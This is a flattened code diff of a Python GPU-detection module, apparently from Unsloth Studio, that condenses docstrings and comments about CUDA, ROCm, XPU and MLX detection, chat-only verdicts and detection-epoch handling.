arch is consulted only when something can name it, so a host with no ROCm userspace reports no candidates and stays counted, which is the conservative direction."""candidates = [str(gfx).lower()for gfx in (@@ -1325,14 +968,11 @@ def _amd_device_can_establish_a_mismatch(device: Dict[str, Any]) -> bool:if gfx]if not candidates:- # The DirectX registry publishes AdapterFamily only when the driver wrote one, so a- # supported Windows card (the reported RX 7900 XT) can arrive with no arch. setup.ps1- # answers that from the marketing name; the probe below can only speak for Linux.+ # The DirectX registry publishes AdapterFamily only when the driver wrote one, so a supported Windows card can arrive with no arch. setup.ps1 answers that from the marketing name; the probe below can only speak for Linux._named = _rocm_supported_gfx_from_gpu_name(device.get("name") or "")if _named:return True- # Nothing NAMES the card, so ask what the installer asks: _has_rocm_gpu() falls back to- # the KFD topology, and a card `studio update` would repair is eligible here.+ # Nothing NAMES the card, so ask what the installer asks: _has_rocm_gpu() falls back to the KFD topology, and a card `studio update` would repair is eligible here.return _linux_kfd_reports_an_amd_gpu()return any(gfx in _ROCM_SUPPORTED_GFX for gfx in candidates)@@ -1361,12 +1001,7 @@ def _torch_reports_an_xpu_runtime() -> bool:def _installed_torch_label_on_disk() -> str:- """``torch.__version__`` read out of the installed torch/version.py, or "".-- No interpreter is started, which is the point: this is reached when importing torch- is the thing that fails. The installers read the same file for the same reason.- Never raises.- """+ """``torch.__version__`` read out of the installed torch/version.py, or "". No interpreter is started, which is the point: this is reached when importing torch is the thing that fails. Never raises."""try:spec = importlib.util.find_spec("torch")except Exception:@@ -1384,15 +1019,7 @@ def _installed_torch_label_on_disk() -> str:def _installed_torch_markers_on_disk() -> Dict[str, Optional[str]]:- """``{cuda, hip, xpu}`` as recorded in the installed torch/version.py.-- The version LABEL is not the whole story: a conda or source CUDA build is untagged- and records its runtime here instead, and the importable path already reads exactly- these three attributes. Without them the failure path gave the same installation the- opposite diagnosis, telling the user to reinstall a GPU wheel it already has rather- than to fix the driver. Parsed, not executed, for the same reason as the label.- Never raises; a value the file does not set reads as None.- """+ """``{cuda, hip, xpu}`` as recorded in the installed torch/version.py. The version LABEL is not the whole story -- a conda or source CUDA build is untagged and records its runtime here -- and without these the failure path told the user to reinstall a GPU wheel it already has rather than fix the driver. Parsed, not executed. Never raises."""markers: Dict[str, Optional[str]] = {"cuda": None, "hip": None, "xpu": None}try:spec = importlib.util.find_spec("torch")@@ -1441,20 +1068,7 @@ def _run_torch_build_snapshot() -> Dict[str, Any]:def torch_build_snapshot(*, block: bool = True) -> Dict[str, Any]:- """``{reason, usable, unknown}`` for this venv's torch, cached with a TTL.-- ``block=False`` for anything on a request path: both probes inside import torch and- ask the CUDA and XPU runtimes whether they are available, and a wedged or- restarting driver -- the very state ``torch_cuda_unavailable`` names -- can hold- those for as long as the driver takes. /api/health and /api/liveness reach here- through the chat-only verdict, against a two second desktop timeout, so a- non-blocking caller takes the last measurement, kicks the refresh onto a daemon- thread, and reads the new one later.-- With nothing measured yet it gets ``unknown``, never a guess: detect_hardware()- takes the blocking path on exactly the hosts whose verdict can be re-derived, so- the cache is warm before any request can consult it.- """+ """``{reason, usable, unknown}`` for this venv's torch, cached with a TTL. ``block=False`` on a request path: both probes import torch and ask the CUDA and XPU runtimes whether they are available, which a wedged driver -- the very state torch_cuda_unavailable names -- can hold for as long as it likes. With nothing measured yet a caller gets ``unknown``, never a guess: detect_hardware() takes the blocking path, so the cache is warm before any request consults it."""now = time.monotonic()cached_entry = _torch_build_snapshot_cacheif cached_entry is not None and now - cached_entry[0] < _TORCH_BUILD_SNAPSHOT_TTL_SECONDS:@@ -1485,12 +1099,7 @@ def _schedule_torch_build_snapshot_refresh() -> None:def _seed_torch_build_snapshot(reason: Optional[str]) -> None:- """Record a classification that was reached without probing torch.-- The broken-runtime host is classified from the wheel on disk, and that answer is- exactly what the request paths need; letting them re-measure would put the import- that already failed back on the health thread.- """+ """Record a classification reached without probing torch: the broken-runtime host is classified from the wheel on disk, and letting the request paths re-measure would put the import that already failed back on the health thread."""global _torch_build_snapshot_cache_torch_build_snapshot_cache = (time.monotonic(),@@ -1507,12 +1116,7 @@ def invalidate_torch_build_snapshot() -> None:def _mismatch_verdict_for_this_host(reason: Optional[str] = None,) -> tuple[Optional[str], Optional[str]]:- """``(reason, detail)`` when this host's GPUs are real but PyTorch cannot use them.-- ``(None, None)`` otherwise. Blocking, and only detection calls it: it runs off the- request path, and the blocking pass is what warms the caches that /api/health then- reads without probing anything itself.- """+ """``(reason, detail)`` when this host's GPUs are real but PyTorch cannot use them, else (None, None). Blocking, and only detection calls it: that pass runs off the request path and warms the caches /api/health then reads."""if reason is None:reason = torch_build_snapshot()["reason"]if reason is None:@@ -1536,13 +1140,7 @@ def _mismatch_verdict_for_this_host(def _torch_gpu_mismatch_report() -> Dict[str, Any]:- """``physical_devices`` + ``mismatch`` for a host whose GPUs PyTorch cannot use.-- ``{}`` when there is nothing to report: torch is absent, unimportable or healthy,- or no probe found a physical card. Both keys sit BESIDE ``devices`` in the- visibility payload and never inside it -- ``devices`` is the runtime-usable list- that model fit budgets against and that the training device picker pins from.- """+ """``physical_devices`` + ``mismatch`` for a host whose GPUs PyTorch cannot use; ``{}`` when there is nothing to report. Both keys sit BESIDE ``devices`` in the visibility payload and never inside it: ``devices`` is the runtime-usable list that model fit budgets against and the training device picker pins from."""# block=False: request path, and the torch probes hold as long as a wedged driver.reason = torch_build_snapshot(block = False)["reason"]if reason is None:@@ -1564,22 +1162,7 @@ def _torch_gpu_mismatch_report() -> Dict[str, Any]:def verdict_pending_mlx_repair(chat_only: bool, reason: Optional[str]) -> bool:- """True when this settled verdict is one the MLX self-heal is about to overturn.-- Detection gets its answer before utils.mlx_repair gets its turn, so an Apple Silicon- host whose MLX stack is missing or unreadable settles chat-only first and flips only- once the background reinstall lands. Published as final, that greys Train behind a- "run `unsloth studio update`" tooltip the repair makes wrong a minute later, and the row- then enables itself on the frontend's recovery poll -- the reported "greyed out, then- they come out". Callers report it as still-detecting instead. Video is unaffected either- way: it runs on Metal without MLX and reads its own capability verdict.-- The "mlx_unavailable" check is also what lets mlx_repair_in_flight() be cheap: that- reason means this pass has just measured the stack as unusable, so the self-heal only- has to report whether it has finished, not re-probe whether it is needed.-- Takes the verdict as arguments rather than reading the globals, so a caller that- already holds a consistent snapshot does not re-read them mid-pass."""+ """True when this settled verdict is one the MLX self-heal is about to overturn: detection answers before utils.mlx_repair gets its turn, so an Apple Silicon host with a broken MLX stack settles chat-only and flips only once the background reinstall lands. Published as final, that greys Train behind a tooltip the repair makes wrong a minute later. Callers report it as still-detecting instead. Takes the verdict as arguments, so a caller holding a snapshot does not re-read the globals mid-pass."""if not chat_only or reason != "mlx_unavailable":return Falseif not is_apple_silicon():@@ -1588,24 +1171,18 @@ def verdict_pending_mlx_repair(chat_only: bool, reason: Optional[str]) -> bool:from utils.mlx_repair import mlx_repair_in_flightreturn mlx_repair_in_flight()except Exception as exc:- # A self-heal we cannot even ask about is one that cannot be relied on, so let the- # verdict settle rather than hold Train and Video spinning for the whole session.+ # A self-heal we cannot even ask about cannot be relied on, so let the verdict settle rather than hold Train and Video spinning for the whole session.logger.debug("MLX repair progress check failed, treating the verdict as final: %s", exc)return Falsedef verdict_blames_the_mlx_stack() -> bool:- """Unlocked deliberately: _DETECT_LOCK spans a whole detection pass, imports included, so- taking it would park the post-warm worker behind an early request's first import. The- overturn re-reads under the lock, so a straddling read costs one needless measurement."""+ """Unlocked deliberately: _DETECT_LOCK spans a whole detection pass, imports included, so taking it would park the post-warm worker behind an early request's first import. The overturn re-reads under the lock, so a straddling read costs one needless measurement."""return bool(CHAT_ONLY) and CHAT_ONLY_REASON == "mlx_unavailable"def settle_the_no_torch_verdict(epoch: int) -> bool:- """For the post-warm probe that measured a --no-torch host's stack unusable: nothing will- overturn mlx_unavailable now, so publish no_torch and let the sidebar stop polling.- ``epoch`` predates the measurement, as for overturn_the_mlx_verdict: a shutdown since- retired that probe, and the next lifespan measures for itself."""+ """For the post-warm probe that measured a --no-torch host's stack unusable: nothing will overturn mlx_unavailable now, so publish no_torch and let the sidebar stop polling. ``epoch`` predates the measurement, as for overturn_the_mlx_verdict: a shutdown since retired that probe, and the next lifespan measures for itself."""global CHAT_ONLY_REASON, CHAT_ONLY_DETAIL, _NO_TORCH_SETTLED_EPOCHwith _DETECT_LOCK:if epoch != current_detection_epoch():@@ -1623,13 +1200,7 @@ def settle_the_no_torch_verdict(epoch: int) -> bool:def overturn_the_mlx_verdict(epoch: Optional[int] = None) -> bool:- """For a caller that has just measured the stack as usable.-- Read and re-detect share one locked section, or a forced pass landing between them loses- its answer to this one. ``epoch`` predates the measurement, so a shutdown since discards- the pass instead of republishing for a dead lifespan. True is /api/health's three-part- settled read, not "a re-detect ran": callers announce it, and shutdown clears DEVICE- before the event and the verdict."""+ """For a caller that has just measured the stack as usable. Read and re-detect share one locked section, or a forced pass landing between them loses its answer to this one. ``epoch`` predates the measurement, so a shutdown since discards the pass instead of republishing for a dead lifespan."""with _DETECT_LOCK:if not CHAT_ONLY or CHAT_ONLY_REASON != "mlx_unavailable":return False@@ -1639,15 +1210,7 @@ def overturn_the_mlx_verdict(epoch: Optional[int] = None) -> bool:def _print_cuda_device_list(is_rocm: bool) -> None:- """List every visible CUDA/ROCm GPU with its index at startup.-- The "Hardware detected" banner names only device 0, which hides the other- cards on a multi-GPU host. This lists the full visible set in CUDA-ordinal- order, matching `nvidia-smi -L` when no CUDA_VISIBLE_DEVICES mask is set- (under a mask the indices are visible ordinals, not physical PCI ids).- CUDA_DEVICE_ORDER governs only CUDA, so it is shown for CUDA but not ROCm.- No-ops on single-GPU hosts and never raises -- it is purely informational.- """+ """List every visible CUDA/ROCm GPU with its index at startup: the "Hardware detected" banner names only device 0, hiding the other cards. Indices are CUDA ordinals, matching `nvidia-smi -L` when no mask is set. CUDA_DEVICE_ORDER governs only CUDA, so it is shown for CUDA but not ROCm. Purely informational and never raises."""try:import torch@@ -1673,56 +1236,30 @@ def _print_cuda_device_list(is_rocm: bool) -> None:def detect_hardware() -> DeviceType:- """- Detect the best compute device and set the module-level DEVICE global.-- Call once at FastAPI lifespan startup; idempotent.-- Detection order:- 1. XPU-preferred hint: only on an unambiguous "prefer XPU" signal- (CUDA hidden via ``CUDA_VISIBLE_DEVICES="" / "-1"``,- ``UNSLOTH_FORCE_XPU=1``, or CUDA unavailable) AND a non-empty- ``ZE_AFFINITY_MASK`` AND ``torch.xpu`` reports a device. A stray- inherited mask is not enough: CUDA still wins on hybrid hosts.- 2. CUDA (NVIDIA GPU, requires torch)- 3. XPU (Intel GPU, requires torch with XPU support)- 4. MLX (Apple Silicon via MLX framework)- 5. CPU (fallback)- """+ """Detect the best compute device and set the module-level DEVICE global; call once at FastAPI lifespan startup, idempotent. Order: XPU only on an unambiguous "prefer XPU" signal (CUDA hidden or unavailable, or UNSLOTH_FORCE_XPU=1) AND a non-empty ZE_AFFINITY_MASK AND torch.xpu reporting a device, since a stray inherited mask must not beat CUDA on hybrid hosts; then CUDA, XPU, MLX, CPU."""global DEVICE, CHAT_ONLY, CHAT_ONLY_REASON, CHAT_ONLY_DETAIL, IS_ROCM, DETECTION_GENERATIONwith _DETECT_LOCK:- # A forced pass mutates the globals partway through; leaving the event set lets- # /api/health serve that as settled, so the sidebar MLX poll caches reason=None,- # stops, and leaves Train hidden on a repaired host. Republished once it settles.+ # A forced pass mutates the globals partway through; leaving the event set lets /api/health serve that as settled, so the sidebar MLX poll caches reason=None, stops, and leaves Train hidden on a repaired host.was_complete = DETECTION_COMPLETE.is_set()- # Snapshot the whole verdict, not just the event: a raise mid-pass leaves a- # half-written answer the autorepair path swallows, and losing "mlx_unavailable"- # stops the sidebar poll for good.+ # Snapshot the whole verdict, not just the event: a raise mid-pass leaves a half-written answer the autorepair path swallows, and losing "mlx_unavailable" stops the sidebar poll for good.published = (DEVICE, CHAT_ONLY, CHAT_ONLY_REASON, CHAT_ONLY_DETAIL, IS_ROCM)- # Owning epoch first, current only as a fallback. The MLX self-heal calls this- # after a pip install that can outlast the lifespan; reading current would adopt- # the epoch shutdown moved to, so the next lifespan finds DEVICE set and skips- # its own detection.+ # Owning epoch first, current only as a fallback: the MLX self-heal calls this after a pip install that can outlast the lifespan, and reading current would adopt the epoch shutdown moved to, so the next lifespan finds DEVICE set and skips its own detection.epoch = getattr(_OWNING_EPOCH, "value", None)if epoch is None:epoch = current_detection_epoch()elif current_detection_epoch() != epoch:- # Retired before this pass began, so leave the running lifespan alone. Going on- # would clear DETECTION_COMPLETE over a settled verdict, probe, then discard: a- # late repair would erase the restart's verdict, not merely fail to add its own.+ # Retired before this pass began, so leave the running lifespan alone: going on would clear DETECTION_COMPLETE over a settled verdict, probe, then discard, erasing the restart's verdict.return DEVICEDETECTION_COMPLETE.clear()try:device = _detect_hardware_locked()except BaseException:if current_detection_epoch() != epoch:- # Shutdown ran mid-pass. Restoring would put back the verdict it just- # cleared, and the next lifespan would treat that as measured.+ # Shutdown ran mid-pass. Restoring would put back the verdict it just cleared, and the next lifespan would treat that as measured._discard_detection_locked()raiseDEVICE, CHAT_ONLY, CHAT_ONLY_REASON, CHAT_ONLY_DETAIL, IS_ROCM = published- # Restore rather than leave it clear: start_background_detection() declines- # once DEVICE is set, so an unset event keeps health provisional forever.+ # Restore rather than leave it clear: start_background_detection() declines once DEVICE is set, so an unset event keeps health provisional forever.if was_complete:DETECTION_COMPLETE.set()raise@@ -1739,38 +1276,21 @@ def detect_hardware() -> DeviceType:def ensure_hardware_detected(epoch: Optional[int] = None) -> DeviceType:- """Detect once, from any thread. Prefer this to detect_hardware() unless you want a- forced re-detect: it collapses the warm thread and an early request into one pass, and- a caller arriving mid-detection waits rather than starts a second.-- Never raises. A raise on the warm thread is swallowed and leaves DEVICE None, so every- later request retries the failing import and /api/health, which waits on this, would- 500. Record CPU + chat-only with a reason instead.-- ``epoch`` is the epoch this pass belongs to; a spawner passes the one it read before- Thread.start(), since the thread can be scheduled after a shutdown retired it and- reading it here would bind the pass to the retirement it must lose to. Direct callers- pass nothing and own the current epoch."""+ """Detect once, from any thread; prefer this to detect_hardware() unless you want a forced re-detect, since it collapses the warm thread and an early request into one pass. Never raises: a raise on the warm thread would leave DEVICE None, so every later request retries the failing import and /api/health 500s; record CPU + chat-only with a reason instead. ``epoch`` is the epoch this pass belongs to, passed by a spawner because the thread can be scheduled after a shutdown retired it."""global DEVICE, CHAT_ONLY, CHAT_ONLY_REASON, CHAT_ONLY_DETAIL, DETECTION_GENERATIONglobal _REDETECTION_REQUESTEDwith _DETECT_LOCK:if epoch is None:- # A nested read inside an owning scope belongs to that pass, not to whatever- # is current by the time it reaches here. See owning_detection_epoch().+ # A nested read inside an owning scope belongs to that pass, not to whatever is current by the time it reaches here. See owning_detection_epoch().epoch = getattr(_OWNING_EPOCH, "value", None)if epoch is None:epoch = current_detection_epoch()elif DEVICE is None and current_detection_epoch() != epoch:- # Retired before this worker reached the lock. Probing would import torch for a- # stopped lifespan and the next warm would queue behind it only to re-detect.- # Mid-probe shutdown: below.+ # Retired before this worker reached the lock: probing would import torch for a stopped lifespan and the next warm would queue behind it only to re-detect.return DEVICEproduced_here = DEVICE is Noneif produced_here:- # Same reason detect_hardware() clears it: the pass below assigns DEVICE and- # CHAT_ONLY before probes that can still fall back to CPU. A stale set event- # (shutdown cleared DEVICE while a cached waiter went on to set it) would- # publish the XPU candidate as settled. Republished below once final.+ # Same reason detect_hardware() clears it: the pass below assigns DEVICE and CHAT_ONLY before probes that can still fall back to CPU, so a stale set event would publish the XPU candidate as settled.DETECTION_COMPLETE.clear()try:_detect_hardware_locked()@@ -1781,26 +1301,16 @@ def ensure_hardware_detected(epoch: Optional[int] = None) -> DeviceType:CHAT_ONLY_REASON = "detection_failed"# The pass may have got as far as recording one for a different reason.CHAT_ONLY_DETAIL = None- # Inside the branch: the orchestrator rebuilds its curated defaults whenever this- # counter moves, so bumping on the cached path caused needless rebuilds. Forced- # detect_hardware() bumps it too.+ # Inside the branch: the orchestrator rebuilds its curated defaults whenever this counter moves, so bumping on the cached path caused needless rebuilds.DETECTION_GENERATION += 1if produced_here and current_detection_epoch() != epoch:- # See detect_hardware(): a retired pass must not publish -- but only what this- # call produced. A retired worker that waited out the lock and found DEVICE set- # is looking at the new lifespan's verdict; discarding it would leave the- # restart provisional.+ # See detect_hardware(): a retired pass must not publish, but only what this call produced -- a retired worker that waited out the lock and found DEVICE set is looking at the new lifespan's verdict._discard_detection_locked()return DEVICE- # Set only here, where a final value is guaranteed: a non-None DEVICE means only that- # a candidate was picked (the XPU branch assigns before a probe that can raise), so a- # waiter trusting it could publish training-enabled for a CPU/chat-only host.- # Unconditional, unlike the counter: re-setting is a no-op and a late waiter needs it.+ # Set only here, where a final value is guaranteed: a non-None DEVICE means only that a candidate was picked (the XPU branch assigns before a probe that can raise), so a waiter trusting it could publish training-enabled for a chat-only host.DETECTION_COMPLETE.set()if produced_here:- # A pass has settled, so a later recovery may ask for another one. Cleared here as well as- # in detect_hardware(), because recovery starts its pass through this function. After the- # epoch check, so a retired pass does not release a guard it did not satisfy.+ # A pass has settled, so a later recovery may ask for another one. After the epoch check, so a retired pass does not release a guard it did not satisfy._REDETECTION_REQUESTED = Falsereturn DEVICE@@ -1819,14 +1329,10 @@ def _detect_hardware_locked() -> DeviceType:# Probe torch once per pass: a failed probe is expensive and a second can disagree.torch_ok = _has_torch()- # --- CUDA / ROCm / XPU: try PyTorch ---if torch_ok:import torch- # --- Explicit-XPU hint ---- # Prefer XPU on UNSLOTH_FORCE_XPU=1, or ZE_AFFINITY_MASK set + CUDA- # hidden/unavailable. A bare mask alone is NOT enough (can leak from- # unrelated Intel tooling); torch.xpu must report a device.+ # Prefer XPU on UNSLOTH_FORCE_XPU=1, or ZE_AFFINITY_MASK set with CUDA hidden/unavailable. A bare mask is NOT enough (it can leak from unrelated Intel tooling); torch.xpu must report a device.ze_mask = os.environ.get("ZE_AFFINITY_MASK")cvd = os.environ.get("CUDA_VISIBLE_DEVICES")cuda_hidden = cvd is not None and cvd.strip() in ("", "-1")@@ -1843,9 +1349,7 @@ def _detect_hardware_locked() -> DeviceType:except Exception:xpu_ok = Falseif xpu_ok:- # Forced XPU on a hybrid host: unsloth's device_type picks- # CUDA before XPU and ignores this Unsloth-only env var, so- # hide CUDA or spawned workers would silently train on CUDA.+ # Forced XPU on a hybrid host: unsloth's device_type picks CUDA before XPU and ignores this Unsloth-only env var, so hide CUDA or spawned workers would silently train on CUDA.if force_xpu and not cuda_hidden and not cuda_unavailable:os.environ["CUDA_VISIBLE_DEVICES"] = ""DEVICE = DeviceType.XPU@@ -1861,7 +1365,6 @@ def _detect_hardware_locked() -> DeviceType:print(f"Hardware detected: XPU -- {device_name} ({reason})")return DEVICE- # --- CUDA: NVIDIA GPU ---if torch.cuda.is_available():DEVICE = DeviceType.CUDACHAT_ONLY = False@@ -1871,8 +1374,7 @@ def _detect_hardware_locked() -> DeviceType:logger.debug("CUDA device 0 property probe failed: %s", e)device_name = "<unavailable>"- # Distinguish ROCm from CUDA for display only (DeviceType stays CUDA).- # AMD SDK wheels don't set torch.version.hip, so fall back to __version__.+ # Distinguish ROCm from CUDA for display only (DeviceType stays CUDA). AMD SDK wheels do not set torch.version.hip, so fall back to __version__._hip_ver = getattr(torch.version, "hip", None)if _hip_ver is not None or "rocm" in torch.__version__.lower():IS_ROCM = True@@ -1883,7 +1385,6 @@ def _detect_hardware_locked() -> DeviceType:_print_cuda_device_list(IS_ROCM)return DEVICE- # --- XPU: Intel GPU ---if torch_ok:import torchif hasattr(torch, "xpu") and torch.xpu.is_available():@@ -1893,24 +1394,17 @@ def _detect_hardware_locked() -> DeviceType:print(f"Hardware detected: XPU — {device_name}")return DEVICE- # --- MLX: Apple Silicon ---- # Require the full mlx/mlx-lm/mlx-vlm stack (not a bare `import mlx.core`) so- # the gate matches utils.mlx_repair: a partial/backtracked stack stays- # chat-only (reason "mlx_unavailable") and the background self-heal repairs it.+ # Require the full mlx/mlx-lm/mlx-vlm stack so the gate matches utils.mlx_repair: a partial stack stays chat-only ("mlx_unavailable") and the background self-heal repairs it.if is_apple_silicon() and _has_usable_mlx_stack():DEVICE = DeviceType.MLXCHAT_ONLY = False- # Use platform.machine() ("arm64"); platform.processor() returns "i386"- # on universal2 / Rosetta builds even on native arm64.+ # platform.machine() ("arm64"), not platform.processor(), which returns "i386" on universal2 / Rosetta builds even on native arm64.chip = platform.machine() or "arm64"print(f"Hardware detected: MLX — Apple Silicon ({chip})")return DEVICE- # --- Fallback ---DEVICE = DeviceType.CPU- # CHAT_ONLY is still True here (every training-capable branch returned early),- # so record WHY so the UI can explain the greyed-out Train/Export instead of- # silently disabling them.+ # CHAT_ONLY is still True here (every training-capable branch returned early), so record WHY, or the UI cannot explain the greyed-out Train/Export.if (is_apple_silicon()and _installed_without_torch()@@ -1919,10 +1413,7 @@ def _detect_hardware_locked() -> DeviceType:or not _mlx_distribution_installed())):- # GGUF-only by request: not a broken stack, and `unsloth studio update` cannot- # change it. With mlx on disk the verdict stays mlx_unavailable until the post-warm- # probe measures it, so a stack that only lost the import race is still overturned- # and the sidebar keeps polling until settle_the_no_torch_verdict() lands.+ # GGUF-only by request, not a broken stack, and `unsloth studio update` cannot change it. With mlx on disk the verdict stays mlx_unavailable until the post-warm probe measures it, so a stack that only lost the import race is still overturned and the sidebar keeps polling until settle_the_no_torch_verdict() lands.CHAT_ONLY_REASON = "no_torch"_MLX_BLOCKERS_MEASURED = Nonelogger.info(@@ -1930,9 +1421,7 @@ def _detect_hardware_locked() -> DeviceType:"request. Reinstall without --no-torch to enable them.")elif is_apple_silicon():- # Reached the CPU fallback on Apple Silicon, so the MLX stack is missing,- # too old, or broken. This is usually an environment problem recoverable- # with `unsloth studio update`.+ # Reached the CPU fallback on Apple Silicon, so the MLX stack is missing, too old or broken: usually recoverable with `unsloth studio update`.CHAT_ONLY_REASON = "mlx_unavailable"CHAT_ONLY_DETAIL = _mlx_stack_detail()logger.warning(@@ -1944,14 +1433,7 @@ def _detect_hardware_locked() -> DeviceType:elif TORCH_IMPORT_ERROR is not None:# torch installed but broken, so this host was never measured. "no_gpu" would lie.CHAT_ONLY_REASON = "detection_failed"- # Still measurable from the wheel on disk, and this host needs it most: detection_failed- # otherwise sends the user to the server log instead of offering the repair, and the- # verdict refresh deliberately freezes it. From DISK, because the import is what failed.- #- # Both suppressions classify_torch_build() applies before its own disk fallback: a- # deliberately CPU-only install is not broken, and the repair offered for it would- # reinstall the wheel that was asked for. Applied here rather than through that- # function, which goes via _has_torch() and would re-run the import that just failed.+ # Still measurable from the wheel on disk, and this host needs it most: detection_failed otherwise sends the user to the server log instead of offering the repair. From DISK, because the import is what failed, and with both suppressions classify_torch_build() applies before its own disk fallback, since a deliberately CPU-only install is not broken._disk_reason = Noneif not (_masks_hide_every_accelerator(block_inventory = True) or _expected_cpu_flavor_was_chosen()@@ -1964,9 +1446,7 @@ def _detect_hardware_locked() -> DeviceType:elif platform.system() == "Darwin":CHAT_ONLY_REASON = "intel_mac" # Intel Mac: no PyTorch/MLX -> GGUF-only by design.else:- # torch imported cleanly and reported no accelerator, which is NOT "this host has no GPU":- # a Windows update installs PyPI's 2.11.0+cpu over cu124 while nvidia-smi lists every- # card (#8473). Ask the OS before blaming hardware.+ # torch imported cleanly and reported no accelerator, which is NOT "this host has no GPU": a Windows update installs PyPI's 2.11.0+cpu over cu124 while nvidia-smi lists every card (#8473). Ask the OS before blaming hardware.CHAT_ONLY_REASON = "no_gpu"if torch_ok:_build_reason, _build_detail = _mismatch_verdict_for_this_host()@@ -1976,14 +1456,8 @@ def _detect_hardware_locked() -> DeviceType:return DEVICE-# ========== Convenience helpers ==========--def get_device() -> DeviceType:- """- Return the detected device, auto-detecting if detect_hardware() hasn't run.- Prefer calling detect_hardware() explicitly at startup.- """+ """Return the detected device, auto-detecting if detect_hardware() has not run. Prefer calling detect_hardware() explicitly at startup."""return ensure_hardware_detected()@@ -2006,20 +1480,13 @@ def _torch_reports_a_usable_accelerator() -> bool:def _request_hardware_redetection() -> None:- """Ask for a fresh detection pass, at most one per recovery. Never raises.-- Retiring the epoch is what the rest of this module already uses to mean "the- published verdict is stale"; recomputing DEVICE here instead would publish from a- request thread and race the detection lock.- """+ """Ask for a fresh detection pass, at most one per recovery. Never raises. Retiring the epoch is what the rest of this module already uses to mean "the published verdict is stale"; recomputing DEVICE here instead would publish from a request thread and race the detection lock."""global _REDETECTION_REQUESTEDif _REDETECTION_REQUESTED:returntry:_REDETECTION_REQUESTED = True- # Retiring the epoch alone is NOT enough: invalidate_detection leaves DEVICE set and- # DETECTION_COMPLETE raised, so start_background_detection returns immediately. Both under- # the lock, so a running pass cannot publish over the reset.+ # Retiring the epoch alone is NOT enough: invalidate_detection leaves DEVICE set and DETECTION_COMPLETE raised, so start_background_detection returns immediately. Both under the lock, so a running pass cannot publish over the reset.invalidate_detection()invalidate_torch_build_snapshot()with _DETECT_LOCK:@@ -2043,18 +1510,7 @@ def _remember_the_vendors_behind_the_mismatch(devices: list[Dict[str, Any]]) ->def _uncertainty_could_hide_the_frozen_mismatch(inventory: Dict[str, Any]) -> bool:- """Whether an inventory that could not answer might still hold the mismatched card.-- Only for the vendors the mismatch came from. _carry_unanswered_vendors_forward has- already re-added what an unanswered vendor last reported, so nothing left here means- every vendor that named a card answered "none" this pass. Holding the mismatch on an- unrelated vendor's broken probe would then assert a GPU with nothing to point at: a- detached AMD eGPU staying "unusable" while nvidia-smi is broken on a host that never- had an NVIDIA card.-- True when no vendor was recorded (every reason but the two mismatches, so those are- unchanged), and true for an unknown that names nobody, which is how a cold cache reads.- """+ """Whether an inventory that could not answer might still hold the mismatched card. Only for the vendors the mismatch came from: _carry_unanswered_vendors_forward has already re-added what an unanswered vendor last reported, so nothing left here means every vendor that named a card answered "none" this pass, and holding the mismatch on an unrelated vendor's broken probe would assert a GPU with nothing to point at (a detached AMD eGPU staying "unusable" while nvidia-smi is broken on a host that never had an NVIDIA card). True when no vendor was recorded (every reason but the two mismatches, so those are unchanged), and true for an unknown that names nobody, which is how a cold cache reads."""if not CHAT_ONLY_MISMATCH_VENDORS:return Trueunanswered = set(inventory.get("unanswered") or ())@@ -2066,23 +1522,11 @@ def _uncertainty_could_hide_the_frozen_mismatch(inventory: Dict[str, Any]) -> bodef current_chat_only_verdict() -> tuple[Optional[str], Optional[str]]:"""``(reason, detail)``, re-derived when the physical inventory can still change it.- detect_hardware() runs once at startup, but the inventory it consulted refreshes on- a 60 second TTL. An eGPU attached after launch, or a driver that finished restarting- after the first probe, flips the answer while the frozen verdict keeps saying- ``no_gpu``: /api/system would list the card and publish a mismatch while the sidebar- and the Export and Video pages went on insisting no accelerator exists. The reverse- is the same bug -- a card that goes away leaves a mismatch nobody can act on.-- Only the three inventory-sensitive verdicts are re-derived, plus the one- detection_failed that is not really unmeasured: a torch that will not import was- classified from its wheel on disk at startup, so the inventory is the only thing still- missing, and freezing that host is the same split this function exists to close.- mlx_unavailable, intel_mac and a detection_failed with no importable torch and no- readable wheel describe things a 60 second probe cannot change, and re-deriving those- would fight detect_hardware() rather than follow it.-- Never raises: a probe that cannot answer keeps the frozen verdict, as does an- inventory whose uncertainty is about the vendor the frozen mismatch came from.+ detect_hardware() runs once at startup, but the inventory it consulted refreshes on a 60 second TTL. An eGPU attached after launch, or a driver that finished restarting after the first probe, flips the answer while the frozen verdict keeps saying ``no_gpu``: /api/system would list the card and publish a mismatch while the sidebar and the Export and Video pages went on insisting no accelerator exists. The reverse is the same bug, a card that goes away leaving a mismatch nobody can act on.++ Only the three inventory-sensitive verdicts are re-derived, plus the one detection_failed that is not really unmeasured: a torch that will not import was classified from its wheel on disk at startup, so the inventory is the only thing still missing. mlx_unavailable, intel_mac and a detection_failed with no importable torch and no readable wheel describe things a 60 second probe cannot change, and re-deriving those would fight detect_hardware() rather than follow it.++ Never raises: a probe that cannot answer keeps the frozen verdict, as does an inventory whose uncertainty is about the vendor the frozen mismatch came from."""reason, detail = CHAT_ONLY_REASON, CHAT_ONLY_DETAILfrozen_but_measurable = reason == "detection_failed" and TORCH_IMPORT_ERROR is not None@@ -2096,13 +1540,10 @@ def current_chat_only_verdict() -> tuple[Optional[str], Optional[str]]:return reason, detailbuild_reason = snapshot["reason"]if build_reason is None and snapshot["usable"]:- # The accelerator came BACK. Only reason and detail refresh here, so DEVICE and CHAT_ONLY- # would stay frozen at CPU while this reported no_gpu, until a restart. Retire the- # detection instead and let the next pass publish the real answer.+ # The accelerator came BACK. Only reason and detail refresh here, so DEVICE and CHAT_ONLY would stay frozen at CPU while this reported no_gpu, until a restart. Retire the detection instead and let the next pass publish the real answer._request_hardware_redetection()return reason, detail- # block=False: /api/health and /api/liveness reach here, and the NVIDIA half shells out- # with a 10 second timeout on exactly the hung-driver host this exists for.+ # block=False: /api/health and /api/liveness reach here, and the NVIDIA half shells out with a 10 second timeout on exactly the hung-driver host this exists for.inventory = get_physical_gpu_inventory(block = False)establishing = (_devices_that_can_establish_a_mismatch(inventory.get("devices") or [])@@ -2110,9 +1551,7 @@ def current_chat_only_verdict() -> tuple[Optional[str], Optional[str]]:else [])if establishing:- # Re-record who says so: the mismatch can MOVE between vendors inside one process- # (swap an AMD eGPU for an NVIDIA one), and the startup answer would then freeze- # the verdict on a vendor a later refresh has already watched disappear.+ # Re-record who says so: the mismatch can MOVE between vendors inside one process (swap an AMD eGPU for an NVIDIA one), and the startup answer would then freeze the verdict on a vendor a later refresh has already watched disappear._remember_the_vendors_behind_the_mismatch(establishing)return build_reason, _reported_torch_label(detail)if inventory.get("unknown") and _uncertainty_could_hide_the_frozen_mismatch(inventory):@@ -2120,32 +1559,20 @@ def current_chat_only_verdict() -> 